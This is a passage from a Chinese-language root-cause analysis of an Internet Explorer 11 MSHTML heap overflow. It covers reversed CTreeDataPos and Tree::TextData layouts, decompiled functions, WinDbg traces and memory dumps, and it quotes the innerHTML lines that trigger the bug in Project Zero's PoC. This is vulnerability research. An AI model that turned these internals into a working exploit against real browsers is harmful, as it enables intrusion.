this->_tpEnd._cElemLeftAndFlags = this->_tpEnd._cElemLeftAndFlags & 0xFFFFFF32 | (fEdge ? 0x42 : 2);
return _tpEnd;
}
CTreePos::GetCch()函數用于獲取當前CTreePos對象對應的元素所占用的字符數量。起始標簽和結束標簽對應的字符數量為1,文本字符串為實際擁有的字符數,指針數據字符數的獲取在CTreePos::GetContentCch()中(為0或1)。前面介紹DOM流結構時,在“以文本為中心的設計”中有提到過。
LONG __thiscall CTreePos::GetCch(CTreeDataPos *this)
{
DWORD cElemLeftAndFlags; // eax
// public: long __thiscall CTreePos::GetCch(void)const
// 功能:獲取當前結點的字符數,標簽結點字符數為1,文本數據按實際字符數獲取,指針數據字符數的獲取在CTreePos::GetContentCch()中(為0或1)
cElemLeftAndFlags = this->_cElemLeftAndFlags;
// BOOL IsNode() const { return TestFlag(NodeBeg|NodeEnd); }
// BOOL IsText() const { return TestFlag(Text); }
// long CTreePos::Cch() const { return DataThis()->t._cch; }
// long GetCch() const { return IsNode()?1:IsText()?Cch():0; }
if ( (this->_cElemLeftAndFlags & 3) != 0 ) // NodeBeg=0x1,NodeEnd=0x2
// 當前結點為標簽結點,標簽結點字符數為1
return (cElemLeftAndFlags >> 6) & 1; // TPF_EDGE = 0x40
// 當前結點不是標簽結點
if ( (cElemLeftAndFlags & 4) != 0 ) // Text=0x4,IsText()?Cch():0
// 當前結點是文本數據
return this->dptp.t._sid_cch & 0x1FFFFFF; // 低25位為_cch,this->dptp->t->_cch,Cch()
return 0;
}
6.1.4 CTreeDataPos
CTreeDataPos繼承于CTreePos。CTreeDataPos類為CTreePos類的擴展,用于表示文本數據和指針數據。此漏洞所涉及到的關鍵類,就是該類。
class CTreeDataPos : public CTreePos
{
...
protected:
union
{
DATAPOSTEXT t;
DATAPOSPOINTER p;
};
...
}
struct DATAPOSTEXT
{
unsigned long _cch:25; // [Text] 擁有的字符數,CTreePos::ContentCch()
unsigned long _sid:7; // [Text] 此運行的腳本id
// 這個成員只有在TPF_DATA2_POS標志被打開時才有效,否則,假設lTextID為0。
long _lTextID; // [Text] DOM文本節點的文本ID
};
struct DATAPOSPOINTER
{
// [Pointer] my CMarkupPointer and Gravity
// Gravity:1,Cling:2,
DWORD_PTR _dwPointerAndGravityAndCling;
};
下面是我經過逆向得出的IE11中CTreeDataPos類對象的完整成員。
//CTreeDataPos類對象結構
//Tree::TreeWriter::AllocData1Pos(),0x28,DATAPOSPOINTER
//Tree::TreeWriter::AllocData2Pos(),0x2C,DATAPOSTEXT
+0x000 DWORD _cElemLeftAndFlags,//我的左子樹中元素的個數,低9位為Flag,CTreePos::IsNode()
+0x004 DWORD _cchLeft,//我的左子樹結構字段中的字符數(維護伸展樹(Splay Tree)),CTreePos::GetCpAndMarkup()
+0x008 CTreePos* _pFirstChild,//我的第一個孩子結點(有可能是左,也有可能是右),CTreePos::LeftChild()
+0x00C CTreePos* _pNext,//我的右兄弟或者父親結點,CTreePos::RightChild(),CTreePos::Parent()
+0x010 CTreePos* _pLeft,//在DOM流中,我左邊的CTreePos,CTreePos::PreviousNonPtrTreePos()
+0x014 CTreePos* _pRight,//在DOM流中,我右邊的CTreePos,CTreePos::NextNonPtrTreePos()
+0x018 ULONG _ulRefs_Flags,//引用計數,為0就會被釋放(dword),低6位為Flags,CTreePos::AddRef(),CTreePos::IsCData(),CTreePos::IsTextCData(),Tree::TreeWriter::AllocData1Pos()
+0x01C System::SmartObject *pSmartObject,//CTreePos::Release(),CTreeDataPos::SetTextBlock()
+0x020 Tree::TextData *_pTextData,//CTreeDataPos::GetTextLength(),CTreeDataPos::SetTextData(),CTreePos::ContentPch()
+0x024 DATAPOSTEXT t,//CTreePos::ContentCch(),CTreePos::IsCData(),CTreePos::IsTextCData(),CTreePos::IsTextInLayout(),CTreePos::IsMarkedForDeletion(),CTreePos::IncreaseCounts(),CTreePos::DecreaseCounts()
+0x024 DATAPOSPOINTER p,//CTreePos::IsPointerInLayout(),CTreePos::MarkupPointer()
Tree::TreeWriter::AllocData1Pos()函數為指針數據類的CTreeDataPos對象分配內存,并初始化。IE8中此函數為CMarkup::AllocData1Pos()。
CTreeDataPos *__stdcall Tree::TreeWriter::AllocData1Pos()
{
CTreeDataPos *pTreeDataPos; // eax
ULONG Flags; // ecx
// private: static class CTreePos * __stdcall Tree::TreeWriter::AllocData1Pos(void)
pTreeDataPos = MemoryProtection::HeapAllocClear<1>(g_hIsolatedHeap, 0x28u);
if ( pTreeDataPos )
{
Flags = pTreeDataPos->_ulRefs_Flags & 0x37; // 清除0x8,Flag
pTreeDataPos->pSmartObject = 0;
pTreeDataPos->_pTextData = 0;
pTreeDataPos->_cElemLeftAndFlags |= 0x80u; // 設置TPF_DATA_POS = 0x80
pTreeDataPos->_ulRefs_Flags = Flags | 0x40; // 增加引用計數,低6位為Flags
pTreeDataPos->_pNext = 0;
}
return pTreeDataPos;
}
Tree::TreeWriter::AllocData2Pos()函數為文本數據類的CTreeDataPos對象分配內存,并初始化。IE8中此函數為CMarkup::AllocData2Pos()。
CTreeDataPos *__stdcall Tree::TreeWriter::AllocData2Pos()
{
CTreeDataPos *pTreeDataPos; // eax
ULONG Flags; // ecx
// private: static class CTreePos * __stdcall Tree::TreeWriter::AllocData2Pos(void)
pTreeDataPos = MemoryProtection::HeapAllocClear<1>(g_hIsolatedHeap, 0x2Cu);
if ( pTreeDataPos )
{
Flags = pTreeDataPos->_ulRefs_Flags;
pTreeDataPos->pSmartObject = 0;
pTreeDataPos->_pTextData = 0;
pTreeDataPos->_cElemLeftAndFlags |= 0xC0u; // 設置TPF_DATA_POS = 0x80,TPF_DATA2_POS = 0x40
pTreeDataPos->_ulRefs_Flags = Flags & 0x37 | 0x40;// 清除0x8,Flag,增加引用計數,低6位為Flags
}
return pTreeDataPos;
}
IE11的CTreeDataPos擁有一個新的成員_pTextData,IE8及以前是沒有的。以前文本數據是存在CTxtArray類中的,并通過CTxtPtr類對其進行訪問。在IE11中并沒有廢除以前的方式,而是添加了一種新的用于存儲文本數據的方式,即Tree::TextData類。
CTreeDataPos::SetTextData()函數用于設置CTreeDataPos對象中_pTextData成員存儲的Tree::TextData類對象指針。
void __thiscall CTreeDataPos::SetTextData(CTreeDataPos *this, Tree::TextData *pNewTextData)
{
Tree::TextData *pOldTextData; // edx
// public: void __thiscall CTreeDataPos::SetTextData(class Tree::TextData *)
// 功能:設置CTreeDataPos中與其相關聯的Tree::TextData數據塊指針
++pNewTextData->_ulRefs;
pOldTextData = this->_pTextData;
if ( pOldTextData )
{
if ( pOldTextData->_ulRefs-- == 1 )
MemoryProtection::HeapFree(g_hProcessHeap, pOldTextData);
}
this->_pTextData = pNewTextData;
}
CTreeDataPos::GetTextLength()函數可以從兩種存儲文本字符串的結構CTxtArray和Tree::TextData中獲取到文本字符串的長度。此漏洞的根本原因就在于CTreeDataPos類中DATAPOSTEXT結構體的_cch成員(25bit)與Tree::TextData類中_cch成員(32bit)的大小不同,而在使用時進行混用,從而導致了堆塊的越界寫。具體原因,見后面漏洞的根本原因分析。
LONG __thiscall CTreeDataPos::GetTextLength(CTreeDataPos *this)
{
Tree::TextData *pTextData; // eax
LONG TextLength; // eax
// public: unsigned long __thiscall CTreeDataPos::GetTextLength(void)const
pTextData = this->_pTextData;
if ( pTextData )
TextLength = pTextData->_cch;
else
TextLength = CTreePos::ContentCch(this);
return TextLength;
}
LONG __thiscall CTreePos::ContentCch(CTreeDataPos *this)
{
LONG Cch; // eax
// public: long __thiscall CTreePos::ContentCch(void)const
// Pointer=0x8
if ( (this->_cElemLeftAndFlags & 8) != 0 && CTreePos::HasCollapsedWhitespace(this) )
Cch = 1;
else
// Text = 0x4
Cch = this->dptp.t._sid_cch & 0x1FFFFFF; // 關鍵位置
return Cch;
}
CTreeDataPos::AppendText()用于在原來的字符串后面附加新的字符串。
HRESULT __thiscall CTreeDataPos::AppendText(CTreeDataPos *this, const wchar_t *AppendTextPtr, ULONG AppendTextCch, BOOL a1)
{
HRESULT hr; // edi
wchar_t *TargetTextPtr; // eax
ULONG TargetTextCch; // [esp+Ch] [ebp-8h] BYREF
Tree::TextData *pTextData; // [esp+10h] [ebp-4h] MAPDST BYREF
// public: long __thiscall CTreeDataPos::AppendText(unsigned short const *,unsigned long,bool)
hr = 0;
// 獲取源文本數據塊數據
TargetTextPtr = Tree::TextData::GetText(this->_pTextData, 0, &TargetTextCch);
pTextData = 0;
// 創建新的文本數據塊
Tree::TextData::Create(TargetTextPtr, TargetTextCch, AppendTextPtr, AppendTextCch, &pTextData);
if ( pTextData )
// 重新設置CTreeDataPos中與其相關聯的Tree::TextData數據塊指針
CTreeDataPos::SetTextData(this, pTextData);
else
hr = 0x8007000E; // E_OUTOFMEMORY = 0x8007000E
if ( pTextData )
{
if ( pTextData->_ulRefs-- == 1 )
MemoryProtection::HeapFree(g_hProcessHeap, pTextData);
}
return hr;
}
6.1.4.1 Tree::TextData
下面是我經過逆向得出的IE11中Tree::TextData類對象的完整成員。
//Tree::TextData對象結構(大小為_cch*2+8,Tree::TextData::AllocateMemory())
+0x000 ULONG _ulRefs,//引用計數,CTreeDataPos::SetTextData()
+0x004 LONG _cch,//文本數據的字符數,Tree::TextData::AllocateMemory()
+0x008 wchar_t _TextData[_cch],//Tree::TextData::AllocateMemory()
Tree::TextData::AllocateMemory()函數用于為Tree::TextData對象分配內存。
void __fastcall Tree::TextData::AllocateMemory(LONG cch, Tree::TextData **ppTextData)
{
Tree::TextData *pNewTextData; // eax
Tree::TextData *pOldTextData; // edx
// private: static void __stdcall Tree::TextData::AllocateMemory(long,class SP<class Tree::TextData> &)
// 功能:為文本數據塊分配內存
pNewTextData = MemoryProtection::HeapAlloc<0>(g_hProcessHeap, 2 * cch + 8);
if ( pNewTextData )
{
pNewTextData->_cch = cch;
pNewTextData->_ulRefs = 1;
}
pOldTextData = *ppTextData;
*ppTextData = pNewTextData;
if ( pOldTextData )
{
if ( pOldTextData->_ulRefs-- == 1 )
MemoryProtection::HeapFree(g_hProcessHeap, pOldTextData);
}
}
Tree::TextData::Create()函數用于根據傳入的參數字符串創建一個Tree::TextData對象,并將字符串復制到Tree::TextData對象的空間,然后返回Tree::TextData對象的指針。
void __fastcall Tree::TextData::Create(const wchar_t *SourceTextPtr, ULONG SourceTextCch, Tree::TextData **ppTextData)
{
// public: static void __stdcall Tree::TextData::Create(unsigned short const *,unsigned long,class SP<class Tree::TextData> &)
// 功能:為源文本數據塊創建一個副本
Tree::TextData::AllocateMemory(SourceTextCch, ppTextData);
if ( *ppTextData )
_memcpy_s((*ppTextData)->_TextData, 2 * SourceTextCch, SourceTextPtr, 2 * SourceTextCch);
}
下面函數是上面函數的重載。能夠添加額外的字符串。
void __fastcall Tree::TextData::Create(const wchar_t *SourceTextPtr, ULONG SourceTextCch, const wchar_t *AdditionalTextPtr, ULONG AdditionalTextCch, Tree::TextData **ppTextData)
{
// public: static void __stdcall Tree::TextData::Create(unsigned short const *,unsigned long,unsigned short const *,unsigned long,class SP<class Tree::TextData> &)
// 功能:創建一個文本數據塊,可添加新的文本數據
Tree::TextData::AllocateMemory(SourceTextCch + AdditionalTextCch, ppTextData);
if ( *ppTextData )
{
// 將源文本數據塊中的數據復制到新的文本數據塊中
_memcpy_s((*ppTextData)->_TextData, 2 * SourceTextCch, SourceTextPtr, 2 * SourceTextCch);
if ( AdditionalTextPtr )
// 創建新文本數據塊時,需要添加額外的文本數據,則將其復制到新文本數據塊中源文本數據的后面
_memcpy_s(
&(*ppTextData)->_TextData[SourceTextCch],
2 * AdditionalTextCch,
AdditionalTextPtr,
2 * AdditionalTextCch);
}
}
Tree::TextData::GetText()函數用于從Tree::TextData對象獲取到文本字符串的指針和長度。
wchar_t *__thiscall Tree::TextData::GetText(Tree::TextData *this, ULONG skip_cch, ULONG *GetedCch)
{
// public: unsigned short * __thiscall Tree::TextData::GetText(unsigned long,unsigned long *)const
// 功能:獲取指定字符數量之后的文本字符串的指針
if ( GetedCch )
*GetedCch = this->_cch - skip_cch;
return &this->_TextData[skip_cch];
}
6.1.4.2 CTxtPtr
CTxtPtr繼承于CRunPtr。提供對后備存儲區中字符數組的訪問(即CTxtArray)。
//CTxtPtr類對象結構(0x14,CSpliceTreeEngine::RecordSplice()->CTxtPtr::BindToCp())
+0x000 CTxtArray* _prgRun, // CTxtArray指針
+0x004 LONG _iRun, // 指示CTxtArray中某一元素的索引
+0x008 LONG _ich, // 指示CTxtArray中某一元素的內容中的字符索引
+0x00C DWORD _cp, // 字符在文本流中的位置
+0x010 CMarkup *_pMarkup, // 指向整個文本編輯類的指針
CSpliceTreeEngine::RecordSplice()函數是CSpliceTreeEngine引擎用于記錄DOM樹的拼接的函數。
HRESULT __thiscall CSpliceTreeEngine::RecordSplice(CSpliceTreeEngine *this)
{
_this = this;
hr1 = 0;
pMarkupSource = this->_pMarkupSource;
__this = this;
if ( *(pMarkupSource + 135) < 90000 || (byte_646F1B3E & 0x10) != 0 )
{
v65 = 1;
pTxtPtr = MemoryProtection::HeapAlloc<1>(g_hProcessHeap, 0x14u);
if ( pTxtPtr )
{
tpSourceLCp = CTreePos::GetCpAndMarkup(_this->_ptpSourceL, 0, 0);
_pMarkupSource = _this->_pMarkupSource;
pTxtPtr->_pMarkup = _pMarkupSource;
pTxtPtr->_iRun = 0;
pTxtPtr->_ich = 0;
pTxtPtr->_cp = 0;
pTxtPtr->_prgRun = (_pMarkupSource + 112);
pTxtPtr->_cp = CTxtPtr::BindToCp(pTxtPtr, tpSourceLCp);
}
else
{
pTxtPtr = 0;
}
pMarkupSource = _this->_pMarkupSource;
}
...
}
6.2 漏洞PoC所對應的DOM樹
這里調試時用的PoC是Google Project Zero的Ivan Fratric提供的PoC,未經修改。
重新調試,附加IE進程,在初始斷點斷下后,設置以下兩個斷點。
;bp MSHTML!CSpliceTreeEngine::RemoveSplice,CSpliceTreeEngine::RemoveSplice()函數起始地址
.text:63A46320 ; HRESULT __thiscall CSpliceTreeEngine::RemoveSplice(CSpliceTreeEngine *this)
.text:63A46320 ?RemoveSplice@CSpliceTreeEngine@@QAEJXZ proc near
.text:63A46320 mov edi, edi
.text:63A46322 push ebp
.text:63A46323 mov ebp, esp
.text:63A46325 and esp, 0FFFFFFF8h
.text:63A46328 sub esp, 240h
.text:63A4632E mov eax, ___security_cookie
.text:63A46333 xor eax, esp
.text:63A46335 mov [esp+240h+var_4], eax
;bp 63A46783,Crash附近第一次調用CTreePos::GetCp()
.text:63A46783 mov ecx, [esi+14h] ; this
.text:63A46786 call ?GetCp@CTreePos@@QAEJXZ ; CTreePos::GetCp(void)
.text:63A4678B mov ecx, [esi+18h] ; this
.text:63A4678E mov edi, 1
.text:63A46793 sub edi, eax
.text:63A46795 call ?GetCp@CTreePos@@QAEJXZ ; CTreePos::GetCp(void)
.text:63A4679A mov ecx, [esi+18h] ; this
.text:63A4679D lea edx, [edi+eax]
以下內容是WinDbg調試輸出的結果:
(1940.12fc): Break instruction exception - code 80000003 (first chance)
ntdll!DbgBreakPoint:
00007ffd`64a43150 cc int 3 ;初始斷點
0:020> bp MSHTML!CSpliceTreeEngine::RemoveSplice
0:020> bp 63A46783
0:020> g
ModLoad: 00000000`73e10000 00000000`73e9e000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.17763.864_none_58922fed78a9e6a7\COMCTL32.dll
ModLoad: 00000000`6f840000 00000000`6fa30000 C:\Windows\SysWOW64\uiautomationcore.dll
ModLoad: 00000000`70020000 00000000`70066000 C:\Windows\SysWOW64\Bcp47Langs.dll
ModLoad: 00000000`72e10000 00000000`72e2f000 C:\Windows\SysWOW64\WLDP.DLL
ModLoad: 00000000`771f0000 00000000`77235000 C:\Windows\SysWOW64\WINTRUST.dll
Breakpoint 0 hit
MSHTML!CSpliceTreeEngine::RemoveSplice:
63a46320 8bff mov edi,edi ;第一次中斷,b.innerHTML = Array(40370176).toString();
0:007:x86> g
Breakpoint 0 hit
MSHTML!CSpliceTreeEngine::RemoveSplice:
63a46320 8bff mov edi,edi ;第二次中斷,b.innerHTML = "";
0:007:x86> g
MSHTML!CSpliceTreeEngine::RemoveSplice+0x463:
63a46783 8b4e14 mov ecx,dword ptr [esi+14h] ds:002b:04f3ca1c=048a05ac
0:007:x86> r
eax=00000000 ebx=04f3cb38 ecx=04890a80 edx=00000000 esi=04f3ca08 edi=048a05ac
eip=63a46783 esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x463:
63a46783 8b4e14 mov ecx,dword ptr [esi+14h] ds:002b:04f3ca1c=048a05ac ;ecx = 0x048a05ac,CTreePos *_ptpSourceL,<head>
0:007:x86> pr
eax=00000000 ebx=04f3cb38 ecx=048a05ac edx=00000000 esi=04f3ca08 edi=048a05ac
eip=63a46786 esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
MSHTML!CSpliceTreeEngine::RemoveSplice+0x466:
63a46786 e8dc118900 call MSHTML!CTreePos::GetCp (642d7967) ;eax = 0x00000002,<head>在DOM流中的位置
0:007:x86> pr
eax=00000002 ebx=04f3cb38 ecx=00000000 edx=0483d534 esi=04f3ca08 edi=048a05ac
eip=63a4678b esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x46b:
63a4678b 8b4e18 mov ecx,dword ptr [esi+18h] ds:002b:04f3ca20=048a0624 ;ecx = 0x048a0624,CTreePos *_ptpSourceR,</body>
0:007:x86> pr
eax=00000002 ebx=04f3cb38 ecx=048a0624 edx=0483d534 esi=04f3ca08 edi=048a05ac
eip=63a4678e esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x46e:
63a4678e bf01000000 mov edi,1
0:007:x86> pr
eax=00000002 ebx=04f3cb38 ecx=048a0624 edx=0483d534 esi=04f3ca08 edi=00000001
eip=63a46793 esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x473:
63a46793 2bf8 sub edi,eax
0:007:x86> pr
eax=00000002 ebx=04f3cb38 ecx=048a0624 edx=0483d534 esi=04f3ca08 edi=ffffffff
eip=63a46795 esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297
MSHTML!CSpliceTreeEngine::RemoveSplice+0x475:
63a46795 e8cd118900 call MSHTML!CTreePos::GetCp (642d7967) ;eax = 0x00680004,</body>在DOM流中的位置
0:007:x86> pr
eax=00680004 ebx=04f3cb38 ecx=00000000 edx=048a0624 esi=04f3ca08 edi=ffffffff
eip=63a4679a esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x47a:
63a4679a 8b4e18 mov ecx,dword ptr [esi+18h] ds:002b:04f3ca20=048a0624 ;
0:007:x86> pr
eax=00680004 ebx=04f3cb38 ecx=048a0624 edx=048a0624 esi=04f3ca08 edi=ffffffff
eip=63a4679d esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x47d:
63a4679d 8d1407 lea edx,[edi+eax] ;edx = edi+eax = 0x1-0x2+0x00680004 = 0x00680003
0:007:x86> pr
eax=00680004 ebx=04f3cb38 ecx=048a0624 edx=00680003 esi=04f3ca08 edi=ffffffff
eip=63a467a0 esp=04f3c7a8 ebp=04f3c9f0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MSHTML!CSpliceTreeEngine::RemoveSplice+0x480:
63a467a0 f60104 test byte ptr [ecx],4 ds:002b:048a0624=72
我們通過漏洞Crash附近兩次調用CTreePos::GetCp()時,傳入的參數_ptpSourceL和_ptpSourceR,再結合CTreePos中的_pLeft和_pRight,形成的DOM流雙鏈表結構,以及CTreeNode中_tpBegin和_tpEnd相對于CTreeNode對象起始地址的偏移關系,可以獲取到DOM流中所有的元素內容。
以下是ROOT標簽的CTreeNode、起始標簽和結束標簽對應的CTreePos的對象內存數據:
CTreeNode
dd 048a0240
048a0240 04890a80 00000000 7002005f 00000051
048a0250 00000000 00000000 048a05ac 00000000
048a0260 048a02ac 00000062 00000000 00000000
048a0270 048a02c4 048a02c4 00000000 00010004
0x5f = 95,ETAG_ROOT = 95
<ROOT>
CTreePos * = 048a024c
dd 048a024c
048a024c 00000051 00000000 00000000 048a05ac
048a025c 00000000 048a02ac
_cElemLeftAndFlags = 00000051
ElemLeft = 0x0
Flags = 0x51 = 0101 0001,NodeBeg=0x1,TPF_LEFT_CHILD=0x10,TPF_EDGE=0x40
_cchLeft = 00000000
_pFirstChild = 00000000
_pNext = 048a05ac,<head>
_pLeft = 00000000
_pRight = 048a02ac,<html>
</ROOT>
CTreePos * = 048a0264
dd 048a0264
048a0264 00000062 00000000 00000000 048a02c4
048a0274 048a02c4 00000000
_cElemLeftAndFlags = 00000062
ElemLeft = 0x0
Flags = 0x62 = 0110 0010,NodeEnd=0x2,TPF_LAST_CHILD=0x20,TPF_EDGE=0x40
_cchLeft = 00000000
_pFirstChild = 00000000
_pNext = 048a02c4,</html>
_pLeft = 048a02c4,</html>
_pRight = 00000000
以下是html標簽的CTreeNode、起始標簽和結束標簽對應的CTreePos的對象內存數據:
CTreeNode
dd 048a02a0
048a02a0 04890a40 048a0240 7022003a 00000271
048a02b0 00000001 048a024c 0483d534 048a024c
048a02c0 04896c00 00000262 00680002 04896c60
048a02d0 048a05ac 04896c60 048a0264 00030005
0x3a = 58,ETAG_HTML = 58
<html>
CTreePos * = 048a02ac
dd 048a02ac
048a02ac 00000271 00000001 048a024c 0483d534
048a02bc 048a024c 04896c00
_cElemLeftAndFlags = 00000271
ElemLeft = 0x2
Flags = 0x71 = 0111 0001,NodeBeg=0x1,TPF_LEFT_CHILD=0x10,TPF_LAST_CHILD=0x20,TPF_EDGE=0x40
_cchLeft = 00000001
_pFirstChild = 048a024c,<ROOT>
_pNext = 0483d534,
_pLeft = 048a024c,<ROOT>
_pRight = 04896c00,Pointer
</html>
CTreePos * = 048a02c4
dd 048a02c4
048a02c4 00000262 00680002 04896c60 048a05ac
048a02d4 04896c60 048a0264
_cElemLeftAndFlags = 00000262
ElemLeft = 0x2
Flags = 0x62 = 0110 0010,NodeEnd=0x2,TPF_LAST_CHILD=0x20,TPF_EDGE=0x40
_cchLeft = 00680002
_pFirstChild = 04896c60,Pointer
_pNext = 048a05ac,<head>
_pLeft = 04896c60,Pointer
_pRight = 048a0264,</ROOT>
以下是head標簽的CTreeNode、起始標簽和結束標簽對應的CTreePos的對象內存數據:
CTreeNode
dd 048a05a0
048a05a0 04890b80 048a02a0 70020036 00000061
048a05b0 00000000 04896c30 048a02ac 04896c30
048a05c0 048a05c4 00000052 00000000 048a060c
048a05d0 048a0624 048a05ac 048a060c ffffffff
0x36 = 54,ETAG_HEAD = 54
<head>
CTreePos *_ptpSourceL = 048a05ac
dd 048a05ac
048a05ac 00000061 00000000 04896c30 048a02ac
048a05bc 04896c30 048a05c4
_cElemLeftAndFlags = 00000061
ElemLeft = 0x0
Flags = 0x61 = 0110 0001,NodeBeg=0x1,TPF_LAST_CHILD=0x20,TPF_EDGE=0x40
_cchLeft = 00000000
_pFirstChild = 04896c30,Pointer
_pNext = 048a02ac,<html>
_pLeft = 04896c30,Pointer
_pRight = 048a05c4,</head>
</head>
CTreePos * = 048a05c4
dd 048a05c4
048a05c4 00000052 00000000 048a060c 048a0624
048a05d4 048a05ac 048a060c
_cElemLeftAndFlags = 00000052
ElemLeft = 0x0
Flags = 0x52 = 0101 0010,NodeEnd=0x2,TPF_LEFT_CHILD=0x10,TPF_EDGE=0x40
_cchLeft = 00000000
_pFirstChild = 048a060c,<body>
_pNext = 048a0624,</body>
_pLeft = 048a05ac,<head>
_pRight = 048a060c,<body>
以下是body標簽的CTreeNode、起始標簽和結束標簽對應的CTreePos的對象內存數據:
CTreeNode
dd 048a0600
048a0600 0489a3c0 048a02a0 70020012 00000061
048a0610 00000000 00000000 048a05c4 048a05c4
048a0620 04896ae0 00000062 00000000 00000000
048a0630 04896ae0 04896ae0 04896bd0 ffffffff
0x12 = 18,ETAG_BODY = 18
<body>
CTreePos * = 048a060c
dd 048a060c
048a060c 00000061 00000000 00000000 048a05c4
048a061c 048a05c4 04896ae0
_cElemLeftAndFlags = 00000061
ElemLeft = 0x0
Flags = 0x61 = 0110 0001,NodeBeg=0x1,TPF_LAST_CHILD=0x20,TPF_EDGE=0x40
_cchLeft = 00000000
_pFirstChild = 00000000
_pNext = 048a05c4,</head>
_pLeft = 048a05c4,</head>
_pRight = 04896ae0,Text
</body>
CTreePos *_ptpSourceR = 048a0624
dd 048a0624
048a0624 00000062 00000000 00000000 04896ae0
048a0634 04896ae0 04896bd0
_cElemLeftAndFlags = 00000062
ElemLeft = 0x0
Flags = 0x62 = 0110 0010,NodeEnd=0x2,TPF_LAST_CHILD=0x20,TPF_EDGE=0x40
_cchLeft = 00000000
_pFirstChild = 00000000
_pNext = 04896ae0,Text
_pLeft = 04896ae0,Text
_pRight = 04896bd0,Pointer
以下是DOM流中除了標簽結點以外,鏈入的CTreeDataPos(Text)和CTreeDataPos(Pointer)對象的內存數據:
Pointer
CTreeDataPos * = 04896c30
dd 04896c30
04896c30 00000098 00000000 04896c00 048a02c4
04896c40 04896c00 048a05ac 00000080 00000000
04896c50 00000000 00000000 00000000
_cElemLeftAndFlags = 00000098
ElemLeft = 0x0
Flags = 0x98 = 1001 1000,Pointer=0x8,TPF_LEFT_CHILD=0x10,TPF_DATA_POS=0x80
_cchLeft = 00000000
_pFirstChild = 04896c00,Pointer
_pNext = 048a02c4,</html>
_pLeft = 04896c00,Pointer
_pRight = 048a05ac,<head>
_ulRefs_Flags = 00000080
pSmartObject = 00000000
_pTextData = 00000000
_dwPointerAndGravityAndCling = 00000000
---------------------------------------------------------------------------------------------------------------
Pointer
CTreeDataPos * = 04896c60
dd 04896c60
04896c60 00000298 00680002 04896bd0 048a0264
04896c70 04896bd0 048a02c4 00000080 00000000
04896c80 00000000 00000001 00000000
_cElemLeftAndFlags = 00000298
ElemLeft = 0x2
Flags = 0x98 = 1001 1000,Pointer=0x8,TPF_LEFT_CHILD=0x10,TPF_DATA_POS=0x80
_cchLeft = 00680002
_pFirstChild = 04896bd0,Pointer
_pNext = 048a0264,</ROOT>
_pLeft = 04896bd0,Pointer
_pRight = 048a02c4,</html>
_ulRefs_Flags = 00000080
pSmartObject = 00000000
_pTextData = 00000000
_dwPointerAndGravityAndCling = 00000001
---------------------------------------------------------------------------------------------------------------
Text
CTreeDataPos * = 04896ae0
dd 04896ae0
04896ae0 000002f4 00000002 048a05c4 04896bd0
04896af0 048a060c 048a0624 00000041 00000000
04896b00 1cf14020 8267ffff 00000000
_cElemLeftAndFlags = 000002f4
ElemLeft = 0x2
Flags = 0xf4 = 1111 0100,Text=0x4,TPF_LEFT_CHILD=0x10,TPF_LAST_CHILD=0x20,TPF_DATA2_POS=0x40,TPF_DATA_POS=0x80
_cchLeft = 00000002
_pFirstChild = 048a05c4,</head>
_pNext = 04896bd0,Pointer
_pLeft = 048a060c,<body>
_pRight = 048a0624,</body>
_ulRefs_Flags = 00000041
pSmartObject = 00000000
_pTextData = 1cf14020,Tree::TextData
_sid_cch = 8267ffff
_cch = 0x8267ffff & 0x1ffffff = 0x67ffff
_sid = 0x8267ffff >> 25 = 0x41 = 0100 0001
_lTextID = 00000000
!heap -x 1cf14020
Entry User Heap Segment Size PrevSize Unused Flags
-----------------------------------------------------------------------------
000000001cf14018 000000001cf14020 0000000000730000 0000000000730000 4d01000 0 ffa busy extra virtual
dd 1cf14020
1cf14020 00000002 0267ffff 002c002c 002c002c
1cf14030 002c002c 002c002c 002c002c 002c002c
1cf14040 002c002c 002c002c 002c002c 002c002c
1cf14050 002c002c 002c002c 002c002c 002c002c
1cf14060 002c002c 002c002c 002c002c 002c002c
1cf14070 002c002c 002c002c 002c002c 002c002c
1cf14080 002c002c 002c002c 002c002c 002c002c
1cf14090 002c002c 002c002c 002c002c 002c002c
...
dd 1cf14020+0x2680000*2-0x10
21c14010 002c002c 002c002c 002c002c 002c002c
21c14020 002c002c 0000002c 00000000 00000000
_ulRefs = 0x2
_cch = 0x0267ffff = 40370175
_TextData = 2c 00 2c 00 ...
0x21c14026 - 0x1cf14028 = 0x4CFFFFE
0x4CFFFFE/2 = 0x267FFFF = 40370175
---------------------------------------------------------------------------------------------------------------
Pointer
CTreeDataPos * = 04896c00
dd 04896c00
04896c00 000000b8 00000000 00000000 04896c30
04896c10 048a02ac 04896c30 00000040 00000000
04896c20 00000000 04f3ce28 00000000
_cElemLeftAndFlags = 000000b8
ElemLeft = 0x0
Flags = 0xb8 = 1011 1000,Pointer=0x8,TPF_LEFT_CHILD=0x10,TPF_LAST_CHILD=0x20,TPF_DATA_POS=0x80
_cchLeft = 00000000
